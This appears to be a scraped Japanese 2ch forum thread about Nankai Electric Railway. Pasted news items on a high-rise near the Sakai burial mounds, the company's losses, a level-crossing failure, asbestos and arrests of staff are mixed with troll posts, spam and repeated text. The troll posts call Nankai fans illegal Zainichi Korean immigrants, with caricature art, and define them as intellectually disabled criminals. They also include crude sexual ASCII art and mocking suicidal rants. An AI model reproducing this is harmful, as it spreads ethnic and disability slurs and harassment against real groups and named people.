１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９
月、竹川さんの耳に信じられないニュースが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定
地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電
鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感
のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との

話し合いは平行線のままです。地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッ
ドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家
はこう指摘します。〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/
23_2733.shtml◆◇◆◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機
が作動せず、特急や急行など計８本の列車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道による
と同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午
前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK
200610200054.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経
営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。し

かも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置か
れた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円
と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳し
い上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道
事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。そ
れでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記
者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結
での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文
書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画　仁徳陵を一望、住民「景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の

前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろ
すことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタ
ール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部で
は「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文
化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユ
ネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要
望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンス
と期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9
月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見

通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）
△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★
★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１
５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71
910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/
stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS借入金は時価総額などと比べると実情が比較的表れます。南海借入金残高２６８，５８３百万円時価総額２２８，９８９百万円１１７．３
％（時価総額に占める借入金割合）阪急借入金残高５００，０２６百万円時価総額６７２，６５０百万円７４．３％阪神借入金残高１３４，７７４百万円時価総額３９６，３５３百万円３４．０％近鉄借入金残高４６９，６９８
百万円時価総額７５９，６８１百万円６１．８％京阪借入金残高１１４，１６４百万円時価総額２３９，９４７百万円４７．５％こう見れば各社の状態がわかる。南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。
一線を越えてしまっている。近鉄も注意を要するが南海ほどでもない。京阪は底を脱したのが鮮明に。阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。堅実派として名の通る阪神は借入金は元から少なめ。金利は高

いが収益力を考慮すれば問題はない。これでは社債は金利を高くしないと厳しいだろう。南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転し
ていたことがバレて大問題に●羽倉崎事故…回送車両が車止めを越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で
冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰りたかった」＜住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、トップ10の街すべてを
阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海wしょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しないということが改めて証明された（ﾌﾟｹﾞﾗ住んでみた
い街（関西）トップは「芦屋」ソースttp://allabout.co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情け
ない赤字南海&南海ヲタおらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝―
―＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじゃ
ないんだからね！」今年も南海ヲタはクえっち「あれ？今日はクリスマスなのにどこも行かないの?」ギシギシリ呼ばれないクリスマスパーティーアンアンス明石家サンタ彼「あれ？暖房つけてるのに寒いよ？」マ多分来ない年
賀状女童スまた今年もひとりきり貞「おまえなんで来んの？」今年のクリスマスは中止ラ○みんな幸せそうブ／＼セクロス気になるあの子もホ／＼街は「あれ？お前呼んでないし」DQNとズコバコ／￣￣￣＼カップル「えー？！

マジ童貞？！キモーイ」／──＼だらけ彼女ｲﾅｲ暦=年齢／<○><○>＼クリスマスも2ｃｈ２次元が恋人ｲﾁｬｲﾁｬ|（__人__）|ケーキﾗﾌﾞﾗﾌﾞ＼｀⌒´／一人で過ごすアドレス帳嫉妬／＼メリークリスマス！！南海沿線でも、阪急百貨店
のブランド力が強いのはなぜ？>219南海沿線でブランド力が強いのはスーパー玉出>219阪急は、関西人みんなの憧れだから 久々南海沿線の明るい話題ttp://www.asahi.com/kansai/news/OSK200612210102.html南海車両は走るス
ラム街パークス２階の便所、すげえくせえな。便器を和式なんかにするからや。現在、日本にいる南海ヲタは戦後に不法入国して住み着いちゃった連中ですよ。,-―-､､,-―-､、/∧＿∧/∧＿∧l<｀Д´>l<丶｀∀´>ヽ､_フづと)'
ヽ､_フづと)'人Yﾉ人Yﾉレ〈＿フレ〈＿フ日本のほうが楽できるﾆﾀﾞ。さっさと移住するﾆﾀﾞ。南海ヲタは不法入国在日朝鮮人です。最近は対馬を狙っています。なんかい‐をた【南海ヲタ】中学校を卒業した後、知能が低いために
進学せず、知的障害者となった人。喫煙者・犯罪者・無職が多く、世間から忌み嫌われている。南海ヲタの常識は世間の非常識であり、暴力・痴漢・破壊・殺人・虐待ばかり繰り返す。就職後1年以内に即退職する者が数多く、
経歴がガタガタなので企業から嫌われ、そのため出世はもちろん賃金もたかが知れており、阪急の奴隷となって生涯を終える。無視かよ！ttp://www.asahi.com/kansai/news/OSK200612210102.html重複誘導【代アニの】南海電気
鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/重複誘導【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/重複誘導【代アニの】南海電気
鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/重複誘導【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/重複誘導【代アニの】南海電気

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明日は競馬で、パークスも南海電車も超低民度と化す。

なんばパークス、クリスマスだというのに、周辺を競馬新聞広げたオッサン連中が占拠して、雰囲気悪すぎ！なんばパークス上階に、競馬帰りのオッサン連中が多数流れ込んでる！クリスマスの雰囲気台無し！

今乗っている準急、競馬新聞広げたおっさんだらけ・・・

どうしても難波パークスのテナントが埋まらないからと、目先の利益だけでJRAをテナントに入れたのは大失敗だったな。

珍作はParksに何の用事が？和式トイレの視察？w
ボロ勝ちのOCATじゃないのかw寂しく自宅から妄想カキコ？w

>523もともとWINSがあった大阪球状の跡地にできたパークソではある。

sage

南海

の百舌鳥八幡駅は小さいな。

新鯖記念
開業記念

大晦日

あけおめ

南海ヲタはアメーバー以下の単細胞なので、永久にやめられませんwさあて、今夜も単細胞おバカの低脳南海ヲタ達が、こぞっておバカはじめるよん「単細胞」「おバカ」と呼ばれると、逆に嬉しくなって必死になる低脳南海ヲ
タでありましたはーい、今夜もおバカ南海ヲタが始まるよ今夜も必死な南海ヲタはおバカ丸出しおバカと言われて、すぐ反応恥ずかちー！！カッコいい！ttp://www.sankei.co.jp/shakai/wadai/061226/wdi061226000.htm珍しく
マトモだから安心汁やっぱ金の無い南海じゃあ、新車なんかとうてい買えないしなw●●●嗚呼、南海沿線民●●●僕は道を歩いていて、ときどき涙が出てくることがある。「ああ、自分は南海沿線民なんだ」と思うと、自己嫌
悪感がわきあがってくるのです。親から南海沿線民であると教えられたときの絶望感がいまだに続いている。「南海沿線」・・・・・その言葉を聞くと、僕は自然と自殺願望が出てきます。自分たちは生きている価値があるのか
と・・・・。しかし、南海沿線民の先祖たちは僕に語りかけます。「いいかい？南海沿線民は阪急から富を搾取されるものなのだよ」と。僕は罪悪感に打ち震えます。南海沿線民に対する世間の風当たりも厳しい昨今。でもそれ
はこれまで散々すき放題をしてきた僕たちへの罰なのでしょう。阪急人が真実に気づき始めた証拠なのでしょう。これまで歴史捏造を主張してきた先人達の浅い知恵なのでしょう。大阪で生活することにより、僕たち南海沿線民
は日々堕落していくのです。嗚呼なんておぞましき土民哉。世界一の嫌われ土民。先祖たちの残した数々のおぞましい実績。余計な説明は一切いらない。ただ周りの人には「南海沿線民です。」の一言で嫌悪感の眼差しが。南海
沿線民に生まれて本当に悲しいです。梅/難＿田/波わかってねえっ・・・・！､N´｀ヽ、/ゝｌ７二ニ7＝=‐-_､南海沿線に住むってことはｲｌ///￣＼/、`'‐､ただごとじゃねえんだ・・・・・・"W._ヽ＝-‐|/-──'-~､..＿/`'‐
､＼￣,￣7⌒ヽ/＼.ヽ間違いなく・・・・・・・・・・/./}.k＼!//|＿＿＿_|/‐┬f＝i一生バカにされる・・・./7'''─r/＼.,'.|_|‖スラム街だの小便臭い田舎電車だの・・・・.//////ヽ.／/‐''´,E!ﾘ/f_/.///ヽ／.∠.-‐┬

f＝i/＿,:=//'´,'／|_|‖この苦しみが｀/{三'_,ﾉl_,-‐''´,E!ﾘお前らに分かるか・・・・？./￣￣`ｰ-‐''"´ゝｰ'[南海]攻撃:41素早さ:76防御:58命中:22運:48HP:135[阪急]攻撃:75素早さ:55防御:71命中:22運:78HP:280南海vs
阪急戦闘開始！！[南海]の攻撃MISS[阪急]は攻撃を回避した。[阪急]の攻撃HIT[南海]は92のダメージを受けた。[南海]の攻撃HIT[阪急]は1のダメージを受けた。[阪急]の攻撃HIT[南海]は78のダメージを受けた。[阪急]が[南海]
を倒しました(ラウンド数：2)。魔法のＭＤ５-ＭＤ５バトルttp://www.newspace21.com/mix/btl.php[南海]攻撃:41素早さ:76防御:58命中:22運:48HP:135[京阪]攻撃:98素早さ:21防御:63命中:51運:55HP:298南海vs京阪戦闘開始！
！[南海]の攻撃HIT[京阪]は1のダメージを受けた。[京阪]の攻撃HIT[南海]は146のダメージを受けた。[京阪]が[南海]を倒しました(ラウンド数：1)。魔法のＭＤ５-ＭＤ５バトルttp://www.newspace21.com/mix/btl.php[南海]攻
撃:41素早さ:76防御:58命中:22運:48HP:135[JR西日本]攻撃:57素早さ:67防御:60命中:61運:75HP:257南海vsJR西日本戦闘開始！！[南海]の攻撃MISS[JR西日本]は攻撃を回避した。[JR西日本]の攻撃HIT[南海]は50のダメージを受
けた。[南海]の攻撃HIT[JR西日本]は16のダメージを受けた。[JR西日本]の攻撃HIT[南海]は45のダメージを受けた。[南海]の攻撃MISS[JR西日本]は攻撃を回避した。[JR西日本]の攻撃HIT[南海]は66のダメージを受けた。[JR西日
本]が[南海]を倒しました(ラウンド数：3)。魔法のＭＤ５-ＭＤ５バトルttp://www.newspace21.com/mix/btl.php[南海]攻撃:41素早さ:76防御:58命中:22運:48HP:135[泉北高速]攻撃:96素早さ:76防御:56命中:23運:51HP:171南海v
s泉北高速 戦闘開始！！[泉北高速]の攻撃HIT[南海]は140のダメージを受けた。[泉北高速]が[南海]を倒しました(ラウンド数：1)。魔法のＭＤ５-ＭＤ５バトルttp://www.newspace21.com/mix/btl.php[南海]攻撃:41素早さ:76防
御:58命中:22運:48HP:135[JR東海]攻撃:59素早さ:37防御:54命中:95運:99HP:205南海vsJR東海戦闘開始！！[南海]の攻撃HIT[JR東海]は1のダメージを受けた。[JR東海]の攻撃HIT[南海]は57のダメージを受けた。[南海]の攻撃HIT

[JR東海]は23のダメージを受けた。[JR東海]の攻撃HIT[南海]は40のダメージを受けた。[南海]の攻撃MISS[JR東海]は攻撃を回避した。[JR東海]の攻撃HIT[南海]は118のダメージを受けた。[JR東海]が[南海]を倒しました(ラウン
ド数：3)。魔法のＭＤ５-ＭＤ５バトルttp://www.newspace21.com/mix/btl.php[南海]攻撃:41素早さ:76防御:58命中:22運:48HP:135[水間]攻撃:62素早さ:44防御:93命中:72運:20HP:202南海vs水間戦闘開始！！[南海]の攻撃HIT[
水間]は1のダメージを受けた。[水間]の攻撃HIT[南海]は56のダメージを受けた。[南海]の攻撃HIT[水間]は1のダメージを受けた。[水間]の攻撃HIT[南海]は90のダメージを受けた。[水間]が[南海]を倒しました(ラウンド数：2)
。魔法のＭＤ５-ＭＤ５バトルttp://www.newspace21.com/mix/btl.php頭悪い低学歴南海ヲタ南海車掌がＪＲ駅員に暴行兵庫県警川西署は１３日、ＪＲの駅員に小銭入れを投げつけた暴行の現行犯で、大阪府東大阪市の南海電鉄
車掌松永英之容疑者（３１）を逮捕した。調べでは、松永容疑者は同日午後１０時ごろ、ＪＲ川西池田駅（川西市）の改札口で、ＩＣ内蔵型乗車カード「ＩＣＯＣＡ」を入れたと思い込んだ小銭入れを自動改札機にかざしたが、
機械が反応しないことに立腹。注意した駅員に「通さんかい」などと文句を言い、小銭入れを投げつけた疑い。駅員ともみ合いになり、通報で駆け付けた川西署員に取り押さえられた。カードは上着のポケットに入っていた。同
署によると、松永容疑者はかなり酒を飲んでいる様子で「やっとらん」と容疑を否認しているという。1000なら赤字南海、産業再生機構に入る【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cg
i/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/116558179
1/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南

海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞN
a90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp
://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.ne
t/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/rail/1165581791/【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby9.2ch.net/test/read.cgi/
rail/1165581791/◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏
れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関
係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加
算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://ne
ws.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来

園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アス
ベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品
などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないとい
うことです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと
、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていま
すが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/new
s/2005/08/02/d20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイスス
ケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷
害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新

聞２月28日付朝刊35頁社会面◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３
４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイ
レに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会
でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容
疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被
害届を提出した。ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html１１月２９日の社会面ニュース）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕----------------------------------------------
----------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社
員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたとい
う。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換

えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２
人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面
識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html■「世界遺産登録に“超高層”の影」2006/05/23 放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が
、再開発問題で頭を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュー
スが飛び込んできました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移
転に伴い、遊休地となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げ
たのです。〈南海電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞
しかしこの計画地、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反
対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つと

いう風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗
田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml◆◇◆◇◆踏切の電源入
れ忘れ作動せず８列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列
車がそのまま通過した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信号機な
どに電気を送る電源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の
運転士が異常に気付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK200610200054.html南海電鉄で囁かれる｢
最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている
